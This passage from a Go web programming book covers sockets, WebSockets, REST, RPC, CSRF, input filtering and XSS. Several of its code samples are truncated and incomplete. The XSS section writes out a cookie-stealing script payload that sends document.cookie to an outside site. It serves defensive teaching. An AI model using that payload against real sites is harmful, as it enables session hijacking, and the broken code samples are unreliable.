_, addr, err := conn.ReadFromUDP(buf[0:])
if err != nil {
return
}
conn.WriteToUDP([]byte(daytime), addr)
}
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
os.Exit(1)
}
}
Summary
Through describing and coding some simple programs using TCP and UDP sockets, we can see that Go provides excellent
support for socket programming, and that they are fun and easy to use. Go also provides many functions for building high
performance socket applications.
Links
Directory
Previous section: Web services
Next section: WebSocket
193
WebSocket
8.2 WebSockets
WebSockets are an important feature of HTML5. It implements browser based remote sockets, which allows browsers to
have full-duplex communications with servers. Main stream browsers like Firefox, Google Chrome and Safari provide
support for this WebSockets.
People often used "roll polling" for instant messaging services before WebSockets were born, which allow clients to send
HTTP requests periodically. The server then returns the latest data to clients. The downside to this method is that it requires
clients to keep sending many requests to the server, which can consume a large amount of bandwidth.
WebSockets use a special kind of header that reduces the number of handshakes required between browser and server to
only one, for establishing a connection. This connection will remain active throughout its lifetime, and you can use
JavaScript to write or read data from this connection, as in the case of a conventional TCP sockets. It solves many of the
headache involved with real-time web development, and has the following advantages over traditional HTTP:
Only one TCP connection for a single web client.

WebSocket servers can push data to web clients.
Lightweight header to reduce data transmission overhead.
WebSocket URLs begin with ws:// or wss://(SSL). The following figure shows the communication process of WebSockets. A
particular HTTP header is sent to the server as part of the handshaking protocol and the connection is established. Then,
servers or clients are able to send or receive data through JavaScript via WebSocket. This socket can then be used by an
event handler to receive data asynchronously.
Figure 8.2 WebSocket principle
WebSocket principles
The WebSocket protocol is actually quite simple. After successfully completing the initial handshake, a connection is
established. Subsequent data communications will all begin with "\x00" and end with "\xFF". This prefix and suffix will be
visible to clients because the WebSocket will break off both end, yielding the raw data automatically.
WebSocket connections are requested by browsers and responded to by servers, after which the connection is established.
This process is often called "handshaking".
Consider the following requests and responses:
Figure 8.3 WebSocket request and response.
"Sec-WebSocket-key" is generated randomly, as you may have already guessed, and it's base64 encoded. Servers need to
append this key to a fixed string after accepting a request:
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
Suppose we have f7cb4ezEAl6C3wRaU6JORA== , then we have:
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
Use sha1 to compute the binary value and use base64 to encode it. We will then we have:
rE91AJhfC+6JdVcVXOGJEADEJdQ=
194
WebSocket
Use this as the value of the Sec-WebSocket-Accept response header.
WebSocket in Go
The Go standard library does not support WebSockets. However the websocket package, which is a sub-package of
go.net does, and is officially maintained and supported.
Use go get to install this package:
go get golang.org/x/net/websocket
WebSockets have both client and server sides. Let's see a simple example where a user inputs some information on the
client side and sends it to the server through a WebSocket, followed by the server pushing information back to the client.
Client code:
<html>
<head></head>
<body>
<script type="text/javascript">
var sock = null;
var wsuri = "ws://127.0.0.1:1234";
window.onload = function() {
console.log("onload");
sock = new WebSocket(wsuri);
sock.onopen = function() {
console.log("connected to " + wsuri);
}
sock.onclose = function(e) {
console.log("connection closed (" + e.code + ")");
}
sock.onmessage = function(e) {
console.log("message received: " + e.data);
}
};
function send() {
var msg = document.getElementById('message').value;
sock.send(msg);
};
</script>
<h1>WebSocket Echo Test</h1>
<form>
<p>
Message: <input id="message" type="text" value="Hello, world!">
</p>
</form>
<button onclick="send();">Send Message</button>
</body>
</html>
As you can see, it's very easy to use the client side JavaScript functions to establish a connection. The onopen event gets
triggered after successfully completing the aforementioned handshaking process. It tells the client that the connection has
been created successfully. Clients attempting to open a connection typically bind to four events:
1）onopen: triggered after connection has been established.

2）onmessage: triggered after receiving a message.
3）onerror: triggered after an error has occurred.
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WebSocket
4）onclose: triggered after the connection has closed.
Server code:
package main
import (
"golang.org/x/net/websocket"
"fmt"
"log"
"net/http"
)
func Echo(ws *websocket.Conn) {

var err error
for {
var reply string
if err = websocket.Message.Receive(ws, &reply); err != nil {

fmt.Println("Can't receive")
break
}
fmt.Println("Received back from client: " + reply)
msg := "Received: " + reply

fmt.Println("Sending to client: " + msg)
if err = websocket.Message.Send(ws, msg); err != nil {

fmt.Println("Can't send")
break
}
}
}
func main() {
http.Handle("/", websocket.Handler(Echo))
if err := http.ListenAndServe(":1234", nil); err != nil {

log.Fatal("ListenAndServe:", err)
}
}
When a client Send s user input information, the server Receive s it, and uses Send once again to return a response.
Figure 8.4 WebSocket server received information.
Through the example above, we can see that the client and server side implementation of WebSockets is very convenient.
We can use the net package directly in Go. With the rapid development of HTML5, I think that WebSockets will take on a
much more important role in modern day web development; we should all be at least a little bit familiar with them.
Links
Directory
Previous section: Sockets
Next section: REST
196
REST
8.3 REST
REST is the most popular software architecture on the internet today because it is founded on well defined, strict standards
and it's easy to understand and expand. More and more websites are basing their designs on top of REST. In this section,
we are going to have a close look at implementing the REST architecture in Go and (hopefully) learn how to leverage it to
our benefit.
What is REST?
The first declaration of the concept of REST (REpresentational State Transfer) was in the year 2000 in Roy Thomas
Fielding's doctoral dissertation, who also just happens to be the co-founder of the HTTP protocol. It specifies the
architecture's constraints and principles and anything implemented with this architecture can be called a RESTful system.
Before we understand what REST is, we need to cover the following concepts:
Resources
REST is the Presentation Layer State Transfer, where the presentation layer is actually the resource presentatio
n layer.
So what are resources? Pictures, documents or videos, etc., are all examples of resources and can be located by
URI.
Representation
Resources are specific information entities that can be shown in a variety of ways within the presentation layer. For
instance, a TXT document can be represented as HTML, JSON, XML, etc; an image can be represented as jpg, png,
etc.
URIs are used to identify resources, but how do we determine its specific manifestations? You are referred to the
Accept and Content-Type in an HTTP request header; these two fields describe the presentation layer.
State Transfer
An interactive process is initiated between client and server each time you visit any page of a website. During this
process, certain data related to the current page state need to be saved. However, you'll recall that HTTP is a stateless
protocol! It's obvious that we need to save this client state on our server side. It follows that if a client modifies some
data and wants to persist the changes, there must be a way to inform the server side about the new state.
Most of the time, clients inform servers of state changes using HTTP. They have four operations with which to do this:
-GET is used to obtain resources -POSTs is used to create or update resources -PUT updates resources -DELETE
deletes resources
To summarize the above:
（1）Every URI represents a resource.

（2）There is a representation layer for transferring resources between clients and servers.
（3）Clients use four HTTP methods to implement "Presentation Layer State Transfer", allowing them to operate on
remote resources.
The most important principle of web applications that implement REST is that the interaction between clients and servers
are stateless; every request should encapsulate all of the required information. Servers should be able to restart at any time
without the clients being notified. In addition, requests can be responded by any server of the same service, which is ideal
for cloud computing. Lastly, because it's stateless, clients can cache data for improving performance.
197
REST
Another important principle of REST is system delamination, which means that components in one layer have no way of
interacting directly with components in other layers. This can limit system complexity and encourage independence in the
underlying components.
Figure 8.5 REST architecture
When RESTful constraints are judiciously abided by, web applications can be scaled to accommodate massive numbers of
clients. Using the REST architecture can also help reduce delays between clients and servers, simplify system architecture
and improve the visibility of sub-system end points.
Figure 8.6 REST's expansibility.
RESTful implementation
Go doesn't have direct support for REST, but since RESTful web applications are all HTTP-based, we can use the
net/http package to implement it on our own. Of course, we will first need to make some modifications before we are able
to fully implement REST.
REST uses different methods to handle resources, depending on the interaction that's required with that resource. Many
existing applications claim to be RESTful but they do not actually implement REST. I'm going to categorize these
applications into several levels depends on which HTTP methods they implement.
Figure 8.7 REST's level.
The picture above shows three levels that are currently implemented in REST. You may not choose to follow all the rules
and constraints of REST when developing your own applications because sometimes its rules are not a good fit for all
situations. RESTful web applications use every single HTTP method including DELETE and PUT , but in many cases, HTTP
clients can only send GET and POST requests.
HTML standard allows clients send GET and POST requests through links and forms. It's not possible to send PUT or
DELETE requests without AJAX support.
Some firewalls intercept PUT and DELETE requests and clients have to use POST in order to implement them. Fully
RESTful services are in charge of finding the original HTTP methods and restoring them.
We can simulate PUT and DELETE requests by adding a hidden _method field in our POST requests, however these
requests must be converted on the server side before they are processed. My personal applications use this workflow to
implement REST interfaces. Standard RESTful interfaces are easily implemented in Go, as the following example
demonstrates:
198
REST
package main
import (
"fmt"
"github.com/julienschmidt/httprouter"
"log"
"net/http"
)
func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {

fmt.Fprint(w, "Welcome!\n")
}
func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {

fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name"))
}
func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {

uid := ps.ByName("uid")
fmt.Fprintf(w, "you are get user %s", uid)
}
func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {

fmt.Fprintf(w, "you are modify user %s", uid)
}
func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {

fmt.Fprintf(w, "you are delete user %s", uid)
}
func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {

// uid := r.FormValue("uid")
fmt.Fprintf(w, "you are add user %s", uid)
}
func main() {
router := httprouter.New()
router.GET("/", Index)
router.GET("/hello/:name", Hello)
router.GET("/user/:uid", getuser)
router.POST("/adduser/:uid", adduser)
router.DELETE("/deluser/:uid", deleteuser)
router.PUT("/moduser/:uid", modifyuser)
log.Fatal(http.ListenAndServe(":8080", router))
}
This sample code shows you how to write a very basic REST application. Our resources are users, and we use different
functions for different methods. Here, we imported a third-party package called github.com/julienschmidt/httprouter .
We've already covered how to implement a custom router in previous chapters -the julienschmidt/httprouter package
implements some very convenient router mapping rules that make it very convenient for implementing RESTful
architecture. As you can see, REST requires you to implement different logic for different HTTP methods of the same
resource.
Summary
REST is a style of web architecture, building on past successful experiences with WWW: statelessness, resource-centric,
full use of HTTP and URI protocols and the provision of unified interfaces. These superior design considerations have
allowed REST to become the most popular web services standard. In a sense, by emphasizing the URI and leveraging
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REST
early Internet standards such as HTTP, REST has paved the way for large and scalable web applications. Currently, the
support that Go has For REST is still very basic. However, by implementing custom routing rules and different request
handlers for each type of HTTP request, we can achieve RESTful architecture in our Go webapps.
Links
Directory
Previous section: WebSocket
Next section: RPC
200
RPC
8.4 RPC
In previous sections we talked about how to write network applications based on Sockets and HTTP. We learned that both
of them use the "information exchange" model, in which clients send requests and servers respond to them. This kind of
data exchange is based on a specific format so that both sides are able to communicate with one another. However, many
independent applications do not use this model, but instead call services just like they would call normal functions.
RPC was intended to be the function call mode for networked systems. Clients execute RPCs like they call native functions,
except they package the function parameters and send them through the network to the server. The server can then
unpack these parameters and process the request, executing the results back to the client.
In computer science, a remote procedure call (RPC) is a type of inter-process communication that allows a computer
program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a
shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer
writes essentially the same code whether the subroutine is local to the executing program, or remote. When the software in
question uses object-oriented principles, RPC is called remote invocation or remote method invocation.
RPC working principle
Figure 8.8 RPC working principle
Normally, an RPC call from client to server has the following ten steps:
1. Call the client handle, execute transfer arguments.
1. Call local system kernel to send network messages.
1. Send messages to remote hosts.
1. The server receives handle and arguments.
1. Execute remote processes.
1. Return execution result to corresponding handle.
1. The server handle calls remote system kernel.
1. Messages sent back to local system kernel.
1. The client handle receives messages from system kernel.
1. The client gets results from corresponding handle.
Go RPC
Go has official support for RPC in its standard library on three levels, which are TCP, HTTP and JSON RPC. Note that Go
RPC is not like other traditional RPC systems. It requires you to use Go applications on both client and server sides
because it encodes content using Gob.
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RPC
Functions of Go RPC must abide by the following rules for remote access, otherwise the corresponding calls will be
ignored.
Functions are exported (capitalized).

Functions must have two arguments with exported types.
The first argument is for receiving from the client, and the second one has to be a pointer and is for replying to the
client.
Functions must have a return value of error type.
For example:
func (t *T) MethodName(argType T1, replyType *T2) error
Where T, T1 and T2 must be able to be encoded by the package/gob package.
Any kind of RPC has to go through a network to transfer data. Go RPC can either use HTTP or TCP. The benefits of using
HTTP is that you can reuse some functions from the net/http package.
HTTP RPC
HTTP server side code:
202
RPC
package main
import (
"errors"
"fmt"
"net/http"
"net/rpc"
)
type Args struct {

A, B int
}
type Quotient struct {

Quo, Rem int
}
type Arith int
func (t *Arith) Multiply(args *Args, reply *int) error {

*reply = args.A * args.B
return nil
}
func (t *Arith) Divide(args *Args, quo *Quotient) error {

if args.B == 0 {
return errors.New("divide by zero")
}
quo.Quo = args.A / args.B
quo.Rem = args.A % args.B
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
rpc.HandleHTTP()
err := http.ListenAndServe(":1234", nil)

if err != nil {
fmt.Println(err.Error())
}
}
We registered a RPC service of Arith, then registered this service on HTTP through rpc.HandleHTTP . After that, we are able
to transfer data through HTTP.
Client side code:
203
RPC
package main
import (
"fmt"
"log"
"net/rpc"
"os"
)
type Args struct {

A, B int
}

Quo, Rem int
}
func main() {
fmt.Println("Usage: ", os.Args[0], "server")
os.Exit(1)
}
serverAddress := os.Args[1]
client, err := rpc.DialHTTP("tcp", serverAddress+":1234")

if err != nil {
log.Fatal("dialing:", err)
}
// Synchronous call
args := Args{17, 8}
var reply int
err = client.Call("Arith.Multiply", args, &reply)
if err != nil {
log.Fatal("arith error:", err)
}
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
var quot Quotient

err = client.Call("Arith.Divide", args, &quot)
if err != nil {
}
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
We compile the client and the server side code separately then start the server and client. You'll then have something
similar as follows after you input some data.
$ ./http_c localhost
Arith: 17*8=136
Arith: 17/8=2 remainder 1
As you can see, we defined a struct for the return type. We use it as type of function argument on the server side, and as
the type of the second and third arguments on the client client.Call . This call is very important. It has three arguments,
where the first one is the name of the function that is going to be called, the second is the argument you want to pass, and
the last one is the return value (of pointer type). So far we see that it's easy to implement RPC in Go.
TCP RPC
Let's try the RPC that is based on TCP, here is the server side code:
204
RPC
package main
import (
"errors"
"fmt"
"net"
"net/rpc"
"os"
)
type Args struct {

A, B int
}

Quo, Rem int
}
type Arith int

return nil
}

if args.B == 0 {
}
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")

checkError(err)

checkError(err)
for {
if err != nil {
continue
}
rpc.ServeConn(conn)
}

if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
The difference between HTTP RPC and TCP RPC is that we have to control connections by ourselves if we use TCP RPC,
then pass connections to RPC for processing.
As you may have guessed, this is a blocking pattern. You are free to use goroutines to extend this application as a more
advanced experiment.
The client side code:
205
RPC
package main
import (
"fmt"
"log"
"net/rpc"
"os"
)
type Args struct {

A, B int
}

Quo, Rem int
}
func main() {
fmt.Println("Usage: ", os.Args[0], "server:port")
os.Exit(1)
}
client, err := rpc.Dial("tcp", service)

if err != nil {
}
// Synchronous call
args := Args{17, 8}
var reply int
if err != nil {
}
var quot Quotient

if err != nil {
}
The only difference in the client side code is that HTTP clients use DialHTTP whereas TCP clients use Dial(TCP).
JSON RPC
JSON RPC encodes data to JSON instead of gob. Let's see an example of a Go JSON RPC on the server:
206
RPC
package main
import (
"errors"
"fmt"
"net"
"net/rpc"
"net/rpc/jsonrpc"
"os"
)
type Args struct {

A, B int
}

Quo, Rem int
}
type Arith int

return nil
}

if args.B == 0 {
}
return nil
}
func main() {
arith := new(Arith)
rpc.Register(arith)
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")

checkError(err)

checkError(err)
for {
if err != nil {
continue
}
jsonrpc.ServeConn(conn)
}

if err != nil {
fmt.Println("Fatal error ", err.Error())
os.Exit(1)
}
}
JSON RPC is based on TCP and doesn't support HTTP yet.
The client side code:
207
RPC
package main
import (
"fmt"
"log"
"net/rpc/jsonrpc"
"os"
)
type Args struct {

A, B int
}

Quo, Rem int
}
func main() {
fmt.Println("Usage: ", os.Args[0], "server:port")
log.Fatal(1)
}
client, err := jsonrpc.Dial("tcp", service)

if err != nil {
}
// Synchronous call
args := Args{17, 8}
var reply int
if err != nil {
}
var quot Quotient

if err != nil {
}
Summary
Go has good support for HTTP, TPC and JSON RPC implementation which allow us to easily develop distributed web
applications; however, it is regrettable that Go doesn't have built-in support for SOAP RPC, although some open source
third-party packages do offer this.
Links
Directory
Previous section: REST
208
Summary
8.5 Summary
In this chapter, I introduced you to several mainstream web application development models. In section 8.1, I described the
basics of network programming sockets. Because of the rapid evolution of network technology and infrastructure, and given
that the Socket is the cornerstone of these changes, you must master the concepts behind socket programming in order to
be a competent web developer. In section 8.2, I described HTML5 WebSockets which support full-duplex communications
between client and server and eliminate the need for polling with AJAX. In section 8.3, we implemented a simple
application using the REST architecture, which is particularly suitable for the development of network APIs; due to the rapid
rise of mobile applications, I believe that RESTful APIs will be an ongoing trend. In section 8.4, we learned about Go RPCs.
Go provides excellent support for the four kinds of development methods mentioned above. Note that the net package
and its sub-packages is the place where Go's network programming tools Go reside. If you want a more in-depth
understanding of the relevant implementation details, you should try reading the source code of those packages.
Links
Directory
Previous section: RPC
Next chapter: Security and encryption
209
Security and encryption
9 Security and encryption

Security is an extremely important aspect of most web applications. This topic has been getting more and more attention
lately, especially in light of the recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of
vulnerabilities in our applications and take precautions in order to prevent attackers from taking over our systems.
Many of the security problems that arise in modern web applications originate from data provided by third-parties. For
example, user input should always be validated and sanitized before being stored as secure data. If this isn't done, when
the data is outputted to a client, it may cause a cross-site scripting attack (XSS). Similarly, if unsafe data is used directly as
your application's database queries, then you may be vulnerable to SQL injection attacks. In sections 9.3 and 9.4, we'll look
at how to avoid these problems.
When using third-party data (which includes user-supplied data), first verify the integrity of the data by filtering the input.
Section 9.2 will describe how to filter input.
Unfortunately, filtering input and escaping output does not solve all security problems. In section 9.1, we will explain cross-
site request forgery (CSRF) attacks. This is a malicious exploit where unauthorized commands are transmitted from a user
that the website trusts.
Keeping confidential data encrypted can also help you to secure your web applications. In section 9.5, we will describe how
to store passwords safely using Go's encryption package.
A good hash function makes it hard to find two strings that would produce the same hash value, and this is one way with
which we can encrypt our data. There is also two-way encryption, where you use a secret key to decrypt encrypted data. In
section 9.6 we will describe how to perform both one-way and two-way encryption.
Links
Directory
Next section: CSRF attacks
210
CSRF attacks
9.1 CSRF attacks
What is CSRF?
CSRF and XSRF both stand for "Cross-site request forgery". It's also known as a "one click attack" or "session riding".
So how does a CSRF attack work? A CSRF attack happens when an attacker tricks a trusted user into accessing a website
or clicking a URL that transmits malicious requests (without the user’s consent) to a targeted website. Here's a simple
example: using a few social engineering tricks, an attacker could use the QQ chat software to find and send malicious links
to victims targeted at their user's online banking website. If the victim logs into their online bank account and does not exit,
then clicking on a malicious link sent from the attacker could allow the attacker to steal all of the user's bank account funds.
When under a CSRF attack, a single end-user with an administrator account can threaten the integrity of the entire web
application.
CSRF principle
The following diagram provides a simple overview of a CSRF attack
Figure 9.1 CSRF attack process.
As can be seen from the figure, to complete a CSRF attack, the victim must complete the following two steps:
-1. Log into trusted site A, and store a local Cookie. -2. Without going through existing site A, access the dangerous link to
site B.
As a reader you may be asking: "If I do not meet the above two conditions, I will not be subjected to CSRF attacks." Yes
this is true, however you cannot guarantee that the following does not occur:
You cannot guarantee that when you are logged into a site, the site didn't launch any hidden tabs.
You cannot guarantee that when you close your browser, your cookies will immediately expire and your last session
will have ended.
Trusted, high traffic websites will likely not have hidden vulnerabilities easily exploitable by CSRF based attacks.
Thus, it can be difficult for users to visit a website through a link and know that it will not carry out unknown operations in
the form of a CSRF attack.
CSRF attacks work mostly because of the process through which users are authenticated. Although you can reasonably
guarantee that a request originates from a user's browser, there is no guarantee that the user granted approval for the
request.
How to prevent CSRF attacks

You might be a little scared after reading the section above. But fear is a good thing. It will force you to educate yourself on
how to prevent vulnerabilities like this from happening to you.
Preventative measures against CSRF attacks can be taken on both the server and client sides of a web application.
However, CSRF attacks are most effectively thwarted on the server side.
There are many ways of preventing CSRF attacks on the server side. Most approaches stem from the following two
aspects:
1. Maintaining proper use of GET, POST and cookies.
211
CSRF attacks
2. Including a pseudo-random number with non-GET requests.
In the previous chapter on REST, we saw how most web applications are based on GET and POST HTTP requests, and
that cookies were included along with these requests. We generally design applications according to the following
principles:
1. GET is commonly used to view information without altering any data.
2. POST is used in placing orders, changing the properties of a resource or performing other tasks.
I'm now going to use the Go language to illustrate how to restrict access to resources methods:
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
Since we've stipulated that modifications can only use POST, when a GET method is issued instead of a POST, we can
refuse to respond to the request. According to the figure above, attacks utilizing GET as a CSRF exploit can be prevented.
Is this enough to prevent all possible CSRF attacks? Of course not, because POSTs can also be forged.
We need to implement a second step, which is (in the case of non-GET requests) to increase the length of the pseudo-
random number included with the request. This usually involves steps:
For each user, generate a unique cookie token with a pseudo-random value. All forms must contain the same pseudo-
random value. This proposal is the simplest one because in theory, an attacker cannot read third party cookies. Any
form that an attacker may submit will fail the validation process without knowing what the random value is.
Different forms contain different pseudo-random values, as we've introduced in section 4.4, "How to prevent multiple
form submission". We can reuse the relevant code from that section to meet our needs:
Generating a random number token:
h := md5.New()
io.WriteString(h, "ganraomaxxxxxxxxx")
t.Execute(w, token)
Output token:
<input type="hidden" name="token" value="{{.}}">
Authentication token:
r.ParseForm()
token := r.Form.Get("token")
if token! = "" {
// Verification token of legitimacy
} Else {
// Error token does not exist
}
We can use the preceding code to secure our POSTs. You might be wondering, in accordance with our theory, whether
there could be some way for a malicious third party to somehow figure out our secret token value? In fact, cracking it is
basically impossible -successfully calculating the correct string value using brute force methods needs about 2 to the 11th
time.
Summary
212
CSRF attacks
Cross-site request forgery, also known as CSRF, is a very dangerous web security threat. It is known in web security circles
as a "sleeping giant" security issue; as you can tell, CSRF attacks have quite the reputation. This section not only
introduced cross-site request forgery itself, but factors underlying this vulnerability. It concludes with some suggestions and
methods for preventing such attacks. I hope this section will have inspired you, as a reader, to write better and more secure
web applications.
Links
Directory
Previous section: Security and encryption
Next section: Filter inputs
213
Filter inputs
9.2 Filtering inputs

Filtering user data is one way we can improve the security of our web apps, using it to verify the legitimacy of incoming
data. All of the input data is filtered in order to avoid malicious code or data from being mistakenly executed or stored. Most
web application vulnerabilities arise form neglecting to filter input data and naively trusting it.
Our introduction to filtering data is divided into three steps:
1. identifying the data; we need to filter the data to figure out where it originated from
2. filtering of the data itself; we need to figure out what kind of data we have received
3. distinguish between filtered (sanitized) and tainted data; after the data has been filtered, we can be assured that it is
secure
Identifying data
"Identifying the data" is our first step because most of the time, as mentioned, we don't know where it originates from.
Without this knowledge, we would be unable to properly filter it. The data here is provided internally all from non-code data.
For example: all data comes from clients, however clients that are users are not the only external sources of data. A
database interface providing third party data could also be an external data source.
Data that has been entered by a user is very easy to recognize in Go. We use r.ParseForm after the user POSTs a form to
get all of the data inside the r.Form . Other types of input are much harder to identify. For example in r.Header s, many of
the elements are often manipulated by the client. It can often be difficult to identify which of these elements have been
manipulated by clients, so it's best to consider all of them as having been tainted. The r.Header.Get("Accept-Charset")
header field, for instance, is also considered as user input, although these are typically only manipulated by browsers.
Filtering data
If we know the source of the data, we can filter it. Filtering is a bit of a formal use of the term. The process is known by
many other terms such as input cleaning, validation and sanitization. Despite the fact that these terms differ somewhat in
their meaning, they all refer to the same thing: the process of preventing illegal data from making its way into your
applications.
There are many ways to filter data, some of which are less secure than others. The best method is to check whether or not
the data itself meets the legal requirements dictated by your application. When attempting to do so, it's very important not to
make any attempts at correcting the illegal data; this could allow malicious users to manipulate your validation rules for their
own needs, altogether defeating the purpose of filtering the data in the first place. History has proven that attempting to
correct invalid data often leads to security vulnerabilities. Let's take a look at an overly simple example for illustration
purposes. Suppose that a banking system asks users to supply a secure, 6 digit password. The system validates the length
of all passwords. One might naively write a validation rule that corrects passwords of illegal lengths: "If a password is
shorter than the legal length, fill in the remaining digits with 0s". This simple rule would allow attackers to guess just the first
few digits of a password to successfully gain access to user accounts!
We can use several libraries to help us to filter data:
The strconv package can help us to convert strings input by users into specific types, since r.Form s are maps of
string values. Some common string conversions provided by strconv are Atoi , ParseBool , ParseFloat and
ParseInt .
Go's strings package contains some filter functions like Trim , ToLower and ToTitle , which can help us to obtain
data in a specific formats, according to our needs.
Go's regexp package can be used to handle cases which are more complex in nature, such as determining whether
an input is an email address, a birthday, etc.
214
Filter inputs
Filtering incoming data in addition to authentication can be quite effective. Let's add another technique to our repertoire,
called whitelisting. Whitelisting is a good way of confirming the legitimacy of incoming data. Using this method, if an error
occurs, it can only mean that the incoming data is illegal, and not the opposite. Of course, we don't want to make any
mistakes in our whitelist by falsely labelling legitimate data as illegal, but this scenario is much better than illegal data being
labeled as legitimate, and thus much more secure.
Distinguishing between filtered and tainted data

If you have completed the above steps, the job of filtering data has basically been completed. However when writing web
applications, we also need to distinguish between filtered and tainted data because doing so can guarantee the integrity of
our data filtering process without affecting the input data. Let's put all of our filtered data into a global map variable called
CleanMap . Then, two important steps are required to prevent contamination via data injection:
Each request must initialize CleanMap as an empty map.

Prevent variables from external data sources named CleanMap from being introduced into the app.
Next, let's use an example form to reinforce these concepts:
<form action="/whoami" method="POST">

Who am I:
<select name="name">
<option value="astaxie">astaxie</option>
<option value="herry">herry</option>
<option value="marry">marry</option>
</select>
<input type="submit" />
</form>
In dealing with this type of form, it can be very easy to make the mistake of thinking that users will only be able to submit
one of the three select options. In fact, POST operations can easily be simulated by attackers. For example, by
submitting the same form with name = attack , a malicious user could introduce illegal data into our system. We can use a
simple whitelist to counter these types of attacks:
r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
CleanMap["name"] = name
}
The above code initializes a CleanMap variable, and a name is only assigned after checking it against an internal whitelist
of legitimate values ( astaxie , herry and marry in this case). We store the data in the CleanMap instance so you can be
sure that CleanMap["name"] holds a validated value. Any code wishing to access this value can then freely do so. We can
also add an additional else statement to the above if whitelist for dealing with illegal data, a possibility being that the
form was displayed with an error. Do not try to be too accommodating though, or you run the risk of accidentally
contaminating your CleanMap .
The above method for filtering data against a set of known, legitimate values is very effective. There is another method for
checking whether or not incoming data consists of legal characters using regexp , however this would be ineffectual in the
above case where we require that the name be an option from the select. For example, you may require that user names
only consist of letters and numbers:
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
CleanMap["username"] = username
}
215
Filter inputs
Summary
Data filtering plays a vital role in the security of modern web applications. Most security vulnerabilities are the result of
improperly filtering data or neglecting to properly validate it. Because the previous section dealt with CSRF attacks and the
next two will be introducing XSS attacks and SQL injection, there was no natural segue into dealing with a topic as
important as data sanitization, so in this section, we paid special attention to it.
Links
Directory
Previous section: CSRF attacks
Next section: XSS attacks
216
XSS attacks
9.3 XSS attacks

With the development of Internet technology, web applications are often packed with dynamic content to improve user
experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are
often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS),
something which static websites are completely unaffected by.
What is XSS?
As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order
not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an X instead of a C for the
cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into
webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties:
an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web
applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can
impersonate users and interact with websites without their knowledge or approval.
XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users
are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other
users that happen to be browsing it. Some examples of the types of pages that are often affected include comments,
reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a
hidden <script> tag containing some malicious code, then hits save. The web application saves this to the database.
When another user requests this page, the application queries this tainted data from the database and serves the page to
the user. The attacker's script then executes arbitrary code on the client's computer.
The other type is a reflected XSS attack. The main idea is to embed a malicious script directly into the query parameters of
a URL address. A server that immediately parses this data into a page of results and returns it (to the client who made the
request) unsanitized, can unwittingly cause the client's computer to execute this code. An attacker can send a user a
legitimate looking link to a trusted website with the encoded payload; clicking on this link can cause the user's browser to
execute the malicious script.
XSS present the main means and ends as follows:
Theft of cookies, access to sensitive information.

The use of embedded Flash, through crossdomain permissions, can also be used by an attacker to obtain higher user
privileges. This also applies for other similar attack vectors such as Java and VBScript.
The use of iframes, frames, XMLHttpRequests, etc., can allow an attacker to assume the identity of a user to perform
administrative actions such as micro-blogging, adding friends, sending private messages, and other routine operations.
A while ago, the Sina microblogging platform suffered from this type of XSS vulnerability.
When many users visit a page affected by an XSS attack, the effect on some smaller sites can be comparable to that
of a DDoS attack.
XSS principles
Web applications that return requested data to users without first inspecting and filtering it can allow malicious users to
inject scripts (typically embedded inside HTML within <script> tags) onto other users' browsers. When this malicious code
is rendered on a user's browser without first having been escaped from, the user's browser will interpret this code: this is
the definition of an XSS attack, and this type of mistake is the leading cause of XSS vulnerabilities.
Let's go through the process of a reflective XSS attack. Let's say there's a website that outputs a user's name according to
the URL query parameters; access the following URL http://127.0.0.1/?name=astaxie will cause the server to output the
following:
217
XSS attacks
hello astaxie
Let's say we pass the following parameter instead, accessing the same url: http://127.0.0.1/?name=
<script>alert('astaxie,xss')</script> . If this causes the browser to produce an alert pop-up box, we can confirm that the
site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack?
Just like before, we have a URL:
http://127.0.0.1/?
name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>
By clicking on this URL, you'd be sending the current cookie to the specified site: www.xxx.com . You might be wondering,
why would anybody click on such a strange looking URL in the first place? While it's true that this kind of URL will make
most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you
still be able to see it? Most attackers would obfuscate the URL in one way or another, and you'd only know the legitimacy of
the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website,
compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for
these types of vulnerabilities.
